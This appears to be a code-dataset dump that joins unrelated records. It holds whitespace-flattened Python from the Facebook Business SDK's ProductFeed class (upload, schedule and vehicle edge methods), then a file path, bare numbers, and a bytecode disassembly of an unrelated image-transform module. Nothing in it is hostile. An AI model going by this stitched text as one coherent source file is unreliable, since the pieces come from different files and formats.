"`success` and `failure` callback only work for batch call." ) param_types = { "assoc_data": "list<map>", } enums = {} request = FacebookRequest( node_id=self["id"], method="POST", endpoint="/supplementary_feed_assocs", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=AbstractCrudObject, api_type="EDGE", response_parser=ObjectParser( target_class=AbstractCrudObject, api=self._api ), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_upload_schedules( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.productfeedschedule import ProductFeedSchedule param_types = {} enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/upload_schedules", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=ProductFeedSchedule, api_type="EDGE", response_parser=ObjectParser( target_class=ProductFeedSchedule, api=self._api ), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def create_upload_schedule( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) param_types = { "upload_schedule": "string", } enums = {} request = FacebookRequest( node_id=self["id"], method="POST", endpoint="/upload_schedules", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=ProductFeed, api_type="EDGE", response_parser=ObjectParser(target_class=ProductFeed, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_uploads( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.productfeedupload import ProductFeedUpload param_types = {} enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/uploads", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=ProductFeedUpload, api_type="EDGE", response_parser=ObjectParser(target_class=ProductFeedUpload, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def create_upload( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.productfeedupload import ProductFeedUpload param_types = { "fbe_external_business_id": "string", "file": "file", "password": "string", "update_only": "bool", "url": "string", "username": "string", } enums = {} request = FacebookRequest( node_id=self["id"], method="POST", endpoint="/uploads", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=ProductFeedUpload, api_type="EDGE", response_parser=ObjectParser(target_class=ProductFeedUpload, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_vehicle_offers( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.vehicleoffer import VehicleOffer param_types = { "bulk_pagination": "bool", "filter": "Object", } enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/vehicle_offers", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=VehicleOffer, api_type="EDGE", response_parser=ObjectParser(target_class=VehicleOffer, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_vehicles( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.vehicle import Vehicle param_types = { "bulk_pagination": "bool", "filter": "Object", } enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/vehicles", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=Vehicle, api_type="EDGE", response_parser=ObjectParser(target_class=Vehicle, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() _field_types = { "country": "string", "created_time": "datetime", "default_currency": "string", "deletion_enabled": "bool", "delimiter": "Delimiter", "encoding": "string", "file_name": "string", "id": "string", "ingestion_source_type": "IngestionSourceType", "item_sub_type": "string", "latest_upload": "ProductFeedUpload", "migrated_from_feed_id": "string", "name": "string", "override_type": "string", "primary_feeds": "list<string>", "product_count": "int", "quoted_fields_mode": "QuotedFieldsMode", "schedule": "ProductFeedSchedule", "supplementary_feeds": "list<string>", "update_schedule": "ProductFeedSchedule", "feed_type": "FeedType", "override_value": "string", "primary_feed_ids": "list<string>", "rules": "list<string>", "selected_override_fields": "list<string>", } @classmethod def _get_field_enum_info(cls): field_enum_info = {} field_enum_info["Delimiter"] = ProductFeed.Delimiter.__dict__.values() field_enum_info[ "IngestionSourceType" ] = ProductFeed.IngestionSourceType.__dict__.values() field_enum_info[ "QuotedFieldsMode" ] = ProductFeed.QuotedFieldsMode.__dict__.values() field_enum_info["Encoding"] = ProductFeed.Encoding.__dict__.values() field_enum_info["FeedType"] = ProductFeed.FeedType.__dict__.values() field_enum_info["ItemSubType"] = ProductFeed.ItemSubType.__dict__.values() field_enum_info["OverrideType"] = ProductFeed.OverrideType.__dict__.values() return field_enum_info
data/facebook_business-19.0.0/facebook_business/adobjects/productfeed.py
13,225
9,010
126,883
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numbers STORE_NAME numbers LOAD_CONST 0 LOAD_CONST ('List', 'Optional', 'Tuple', 'Union', 'no_type_check') IMPORT_NAME typing IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Union STORE_NAME Union IMPORT_FROM no_type_check STORE_NAME no_type_check POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME cv2 STORE_NAME cv2 LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST ('to_2tuple',) IMPORT_NAME mmengine.utils IMPORT_FROM to_2tuple STORE_NAME to_2tuple POP_TOP LOAD_CONST 1 LOAD_CONST ('imread_backend',) IMPORT_NAME io IMPORT_FROM imread_backend STORE_NAME imread_backend POP_TOP SETUP_EXCEPT to 94 LOAD_CONST 0 LOAD_CONST ('Image',) IMPORT_NAME PIL IMPORT_FROM Image STORE_NAME Image POP_TOP POP_BLOCK JUMP_FORWARD to 118 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST None STORE_NAME Image POP_EXCEPT JUMP_FORWARD to 118 END_FINALLY LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME float LOAD_NAME int LOAD_NAME Tuple LOAD_NAME float LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('size', 'scale', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _scale_size at 0x7fab641e7c90, file "f.py", line 16> LOAD_CONST '_scale_size' MAKE_FUNCTION STORE_NAME _scale_size LOAD_NAME cv2 LOAD_ATTR INTER_NEAREST LOAD_NAME cv2 LOAD_ATTR INTER_LINEAR LOAD_NAME cv2 LOAD_ATTR INTER_CUBIC LOAD_NAME cv2 LOAD_ATTR INTER_AREA LOAD_NAME cv2 LOAD_ATTR INTER_LANCZOS4 LOAD_CONST ('nearest', 'bilinear', 'bicubic', 'area', 'lanczos') BUILD_CONST_KEY_MAP STORE_NAME cv2_interp_codes LOAD_NAME cv2 LOAD_ATTR BORDER_CONSTANT LOAD_NAME cv2 LOAD_ATTR BORDER_REPLICATE LOAD_NAME cv2 LOAD_ATTR BORDER_REFLECT LOAD_NAME cv2 LOAD_ATTR BORDER_WRAP LOAD_NAME cv2 LOAD_ATTR BORDER_REFLECT_101 LOAD_NAME cv2 LOAD_ATTR BORDER_TRANSPARENT LOAD_NAME cv2 LOAD_ATTR BORDER_ISOLATED LOAD_CONST ('constant', 'replicate', 'reflect', 'wrap', 'reflect_101', 'transparent', 'isolated') BUILD_CONST_KEY_MAP STORE_NAME cv2_border_modes LOAD_NAME Image LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME hasattr LOAD_NAME Image LOAD_CONST 'Resampling' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_NAME Image LOAD_ATTR Resampling LOAD_ATTR NEAREST LOAD_NAME Image LOAD_ATTR Resampling LOAD_ATTR BILINEAR LOAD_NAME Image LOAD_ATTR Resampling LOAD_ATTR BICUBIC LOAD_NAME Image LOAD_ATTR Resampling LOAD_ATTR BOX LOAD_NAME Image LOAD_ATTR Resampling LOAD_ATTR LANCZOS LOAD_NAME Image LOAD_ATTR Resampling LOAD_ATTR HAMMING LOAD_CONST ('nearest', 'bilinear', 'bicubic', 'box', 'lanczos', 'hamming') BUILD_CONST_KEY_MAP STORE_NAME pillow_interp_codes JUMP_FORWARD to 336 LOAD_NAME Image LOAD_ATTR NEAREST LOAD_NAME Image LOAD_ATTR BILINEAR LOAD_NAME Image LOAD_ATTR BICUBIC LOAD_NAME Image LOAD_ATTR BOX LOAD_NAME Image LOAD_ATTR LANCZOS LOAD_NAME Image LOAD_ATTR HAMMING LOAD_CONST ('nearest', 'bilinear', 'bicubic', 'box', 'lanczos', 'hamming') BUILD_CONST_KEY_MAP STORE_NAME pillow_interp_codes LOAD_CONST (False, 'bilinear', None, None) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_NAME str LOAD_NAME Optional LOAD_NAME np LOAD_ATTR ndarray BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Union LOAD_NAME Tuple LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME float LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR LOAD_NAME np LOAD_ATTR ndarray BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('img', 'size', 'return_scale', 'interpolation', 'out', 'backend', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imresize at 0x7fab641e7780, file "f.py", line 74> LOAD_CONST 'imresize' MAKE_FUNCTION STORE_NAME imresize LOAD_NAME no_type_check LOAD_CONST (None, None, False, False, 'bilinear', None, None) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Union LOAD_NAME int LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME int LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME float LOAD_NAME int LOAD_NAME Tuple LOAD_NAME float LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_NAME bool LOAD_NAME str LOAD_NAME Optional LOAD_NAME np LOAD_ATTR ndarray BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Union LOAD_NAME Tuple LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME float LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR LOAD_NAME np LOAD_ATTR ndarray BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('img', 'divisor', 'size', 'scale_factor', 'keep_ratio', 'return_scale', 'interpolation', 'out', 'backend', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imresize_to_multiple at 0x7fab822f9e40, file "f.py", line 126> LOAD_CONST 'imresize_to_multiple' MAKE_FUNCTION CALL_FUNCTION STORE_NAME imresize_to_multiple LOAD_CONST (False, 'bilinear', None) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME bool LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Union LOAD_NAME Tuple LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME float LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR LOAD_NAME np LOAD_ATTR ndarray BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('img', 'dst_img', 'return_scale', 'interpolation', 'backend', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imresize_like at 0x7fab822f9f60, file "f.py", line 195> LOAD_CONST 'imresize_like' MAKE_FUNCTION STORE_NAME imresize_like LOAD_CONST (False,) LOAD_NAME tuple LOAD_NAME Union LOAD_NAME float LOAD_NAME int LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_NAME tuple LOAD_CONST ('old_size', 'scale', 'return_scale', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object rescale_size at 0x7fab822f9930, file "f.py", line 219> LOAD_CONST 'rescale_size' MAKE_FUNCTION STORE_NAME rescale_size LOAD_CONST (False, 'bilinear', None) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Union LOAD_NAME float LOAD_NAME int LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME bool LOAD_NAME str LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME Union LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Tuple LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('img', 'scale', 'return_scale', 'interpolation', 'backend', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imrescale at 0x7fab822f9d20, file "f.py", line 260> LOAD_CONST 'imrescale' MAKE_FUNCTION STORE_NAME imrescale LOAD_CONST ('horizontal',) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME str LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('img', 'direction', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imflip at 0x7fab822f9ae0, file "f.py", line 292> LOAD_CONST 'imflip' MAKE_FUNCTION STORE_NAME imflip LOAD_CONST ('horizontal',) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME str LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('img', 'direction', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imflip_ at 0x7fab822f9270, file "f.py", line 312> LOAD_CONST 'imflip_' MAKE_FUNCTION STORE_NAME imflip_ LOAD_CONST (None, 1.0, 0, 'bilinear', False, 'constant') LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME float LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME float LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME float LOAD_NAME int LOAD_NAME str LOAD_NAME bool LOAD_NAME str LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('img', 'angle', 'center', 'scale', 'border_value', 'interpolation', 'auto_bound', 'border_mode', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imrotate at 0x7fab822f9c00, file "f.py", line 332> LOAD_CONST 'imrotate' MAKE_FUNCTION STORE_NAME imrotate LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('bboxes', 'img_shape', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object bbox_clip at 0x7fab8026cdb0, file "f.py", line 390> LOAD_CONST 'bbox_clip' MAKE_FUNCTION STORE_NAME bbox_clip LOAD_CONST (None,) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME float LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('bboxes', 'scale', 'clip_shape', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object bbox_scaling at 0x7fab8026cb70, file "f.py", line 408> LOAD_CONST 'bbox_scaling' MAKE_FUNCTION STORE_NAME bbox_scaling LOAD_CONST (1.0, None) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME float LOAD_NAME Union LOAD_NAME float LOAD_NAME list LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME List LOAD_NAME np LOAD_ATTR ndarray BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('img', 'bboxes', 'scale', 'pad_fill', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imcrop at 0x7fab641f2270, file "f.py", line 436> LOAD_CONST 'imcrop' MAKE_FUNCTION STORE_NAME imcrop LOAD_CONST None LOAD_CONST None LOAD_CONST 0 LOAD_CONST 'constant' LOAD_CONST ('shape', 'padding', 'pad_val', 'padding_mode') BUILD_CONST_KEY_MAP LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Optional LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Union LOAD_NAME int LOAD_NAME tuple LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME float LOAD_NAME List BUILD_TUPLE BINARY_SUBSCR LOAD_NAME str LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('img', 'shape', 'padding', 'pad_val', 'padding_mode', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object impad at 0x7fab641f2d20, file "f.py", line 498> LOAD_CONST 'impad' MAKE_FUNCTION STORE_NAME impad LOAD_CONST (0,) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME int LOAD_NAME Union LOAD_NAME float LOAD_NAME List BUILD_TUPLE BINARY_SUBSCR LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('img', 'divisor', 'pad_val', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object impad_to_multiple at 0x7fab542610c0, file "f.py", line 585> LOAD_CONST 'impad_to_multiple' MAKE_FUNCTION STORE_NAME impad_to_multiple LOAD_CONST (0,) LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Union LOAD_NAME int LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME Union LOAD_NAME int LOAD_NAME float LOAD_NAME tuple BUILD_TUPLE BINARY_SUBSCR LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('img', 'shape', 'pad_val', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object cutout at 0x7fab54261ed0, file "f.py", line 603> LOAD_CONST 'cutout' MAKE_FUNCTION STORE_NAME cutout LOAD_CONST ('horizontal',) LOAD_NAME Union LOAD_NAME int LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR LOAD_NAME str LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('magnitude', 'direction', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_shear_matrix at 0x7fab54261810, file "f.py", line 661> LOAD_CONST '_get_shear_matrix' MAKE_FUNCTION STORE_NAME _get_shear_matrix LOAD_CONST ('horizontal', 0, 'bilinear') LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Union LOAD_NAME int LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR LOAD_NAME str LOAD_NAME Union LOAD_NAME int LOAD_NAME Tuple LOAD_NAME int LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR LOAD_NAME str LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('img', 'magnitude', 'direction', 'border_value', 'interpolation', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imshear at 0x7fab54261a50, file "f.py", line 681> LOAD_CONST 'imshear' MAKE_FUNCTION STORE_NAME imshear LOAD_CONST ('horizontal',) LOAD_NAME Union LOAD_NAME int LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR LOAD_NAME str LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('offset', 'direction', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_translate_matrix at 0x7fab54261e40, file "f.py", line 729> LOAD_CONST '_get_translate_matrix' MAKE_FUNCTION STORE_NAME _get_translate_matrix LOAD_CONST ('horizontal', 0, 'bilinear') LOAD_NAME np LOAD_ATTR ndarray LOAD_NAME Union LOAD_NAME int LOAD_NAME float BUILD_TUPLE BINARY_SUBSCR LOAD_NAME str LOAD_NAME Union LOAD_NAME int LOAD_NAME tuple BUILD_TUPLE BINARY_SUBSCR LOAD_NAME str LOAD_NAME np LOAD_ATTR ndarray LOAD_CONST ('img', 'offset', 'direction', 'border_value', 'interpolation', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object imtranslate at 0x7fab54261f60, file "f.py", line 749> LOAD_CONST 'imtranslate' MAKE_FUNCTION STORE_NAME imtranslate LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST scale LOAD_GLOBAL float LOAD_GLOBAL int BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST scale LOAD_FAST scale BUILD_TUPLE STORE_FAST scale LOAD_FAST size UNPACK_SEQUENCE STORE_FAST w STORE_FAST h LOAD_GLOBAL int LOAD_FAST w LOAD_GLOBAL float LOAD_FAST scale LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION BINARY_MULTIPLY LOAD_CONST 0.5 BINARY_ADD CALL_FUNCTION LOAD_GLOBAL int LOAD_FAST h LOAD_GLOBAL float LOAD_FAST scale LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION BINARY_MULTIPLY LOAD_CONST 0.5 BINARY_ADD CALL_FUNCTION BUILD_TUPLE RETURN_VALUE LOAD_FAST img LOAD_ATTR shape LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST h STORE_FAST w LOAD_FAST backend LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL imread_backend STORE_FAST backend LOAD_FAST backend LOAD_CONST ('cv2', 'pillow') COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'backend: ' LOAD_FAST backend FORMAT_VALUE LOAD_CONST " is not supported for resize.Supported backends are 'cv2', 'pillow'" BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST backend LOAD_CONST 'pillow' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST img LOAD_ATTR dtype LOAD_GLOBAL np LOAD_ATTR uint8 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Pillow backend only support uint8 type' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL Image LOAD_METHOD fromarray LOAD_FAST img CALL_METHOD STORE_FAST pil_image LOAD_FAST pil_image LOAD_METHOD resize LOAD_FAST size LOAD_GLOBAL pillow_interp_codes LOAD_FAST interpolation BINARY_SUBSCR CALL_METHOD STORE_FAST pil_image LOAD_GLOBAL np LOAD_METHOD array LOAD_FAST pil_image CALL_METHOD STORE_FAST resized_img JUMP_FORWARD to 142 LOAD_GLOBAL cv2 LOAD_ATTR resize LOAD_FAST img LOAD_FAST size LOAD_FAST out LOAD_GLOBAL cv2_interp_codes LOAD_FAST interpolation BINARY_SUBSCR LOAD_CONST ('dst', 'interpolation') CALL_FUNCTION STORE_FAST resized_img LOAD_FAST return_scale POP_JUMP_IF_TRUE LOAD_FAST resized_img RETURN_VALUE LOAD_FAST size LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST w BINARY_TRUE_DIVIDE STORE_FAST w_scale LOAD_FAST size LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST h BINARY_TRUE_DIVIDE STORE_FAST h_scale LOAD_FAST resized_img LOAD_FAST w_scale LOAD_FAST h_scale BUILD_TUPLE RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST img LOAD_ATTR shape LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST h STORE_FAST w LOAD_FAST size LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST scale_factor LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'only one of size or scale_factor should be defined' CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 124 LOAD_FAST size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST scale_factor LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'one of size or scale_factor should be defined' CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 124 LOAD_FAST size LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL to_2tuple LOAD_FAST size CALL_FUNCTION STORE_FAST size LOAD_FAST keep_ratio POP_JUMP_IF_FALSE LOAD_GLOBAL rescale_size LOAD_FAST w LOAD_FAST h BUILD_TUPLE LOAD_FAST size LOAD_CONST False LOAD_CONST ('return_scale',) CALL_FUNCTION STORE_FAST size JUMP_FORWARD to 124 LOAD_GLOBAL _scale_size LOAD_FAST w LOAD_FAST h BUILD_TUPLE LOAD_FAST scale_factor CALL_FUNCTION STORE_FAST size LOAD_GLOBAL to_2tuple LOAD_FAST divisor CALL_FUNCTION STORE_FAST divisor LOAD_GLOBAL tuple LOAD_CONST <code object <genexpr> at 0x7fab822f94b0, file "f.py", line 180> LOAD_CONST 'imresize_to_multiple.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL zip LOAD_FAST size LOAD_FAST divisor CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST size LOAD_GLOBAL imresize LOAD_FAST img LOAD_FAST size LOAD_CONST True LOAD_FAST interpolation LOAD_FAST out LOAD_FAST backend LOAD_CONST ('return_scale', 'interpolation', 'out', 'backend') CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST resized_img STORE_FAST w_scale STORE_FAST h_scale LOAD_FAST return_scale POP_JUMP_IF_FALSE LOAD_FAST resized_img LOAD_FAST w_scale LOAD_FAST h_scale BUILD_TUPLE RETURN_VALUE LOAD_FAST resized_img RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 36 UNPACK_SEQUENCE STORE_FAST s STORE_FAST d LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD ceil LOAD_FAST s LOAD_FAST d BINARY_TRUE_DIVIDE CALL_METHOD CALL_FUNCTION LOAD_FAST d BINARY_MULTIPLY YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST dst_img LOAD_ATTR shape LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST h STORE_FAST w LOAD_GLOBAL imresize LOAD_FAST img LOAD_FAST w LOAD_FAST h BUILD_TUPLE LOAD_FAST return_scale LOAD_FAST interpolation LOAD_FAST backend LOAD_CONST ('backend',) CALL_FUNCTION RETURN_VALUE LOAD_FAST old_size UNPACK_SEQUENCE STORE_FAST w STORE_FAST h LOAD_GLOBAL isinstance LOAD_FAST scale LOAD_GLOBAL float LOAD_GLOBAL int BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST scale LOAD_CONST 0 COMPARE_OP <= POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Invalid scale ' LOAD_FAST scale FORMAT_VALUE LOAD_CONST ', must be positive.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST scale STORE_FAST scale_factor JUMP_FORWARD to 128 LOAD_GLOBAL isinstance LOAD_FAST scale LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL max LOAD_FAST scale CALL_FUNCTION STORE_FAST max_long_edge LOAD_GLOBAL min LOAD_FAST scale CALL_FUNCTION STORE_FAST max_short_edge LOAD_GLOBAL min LOAD_FAST max_long_edge LOAD_GLOBAL max LOAD_FAST h LOAD_FAST w CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_FAST max_short_edge LOAD_GLOBAL min LOAD_FAST h LOAD_FAST w CALL_FUNCTION BINARY_TRUE_DIVIDE CALL_FUNCTION STORE_FAST scale_factor 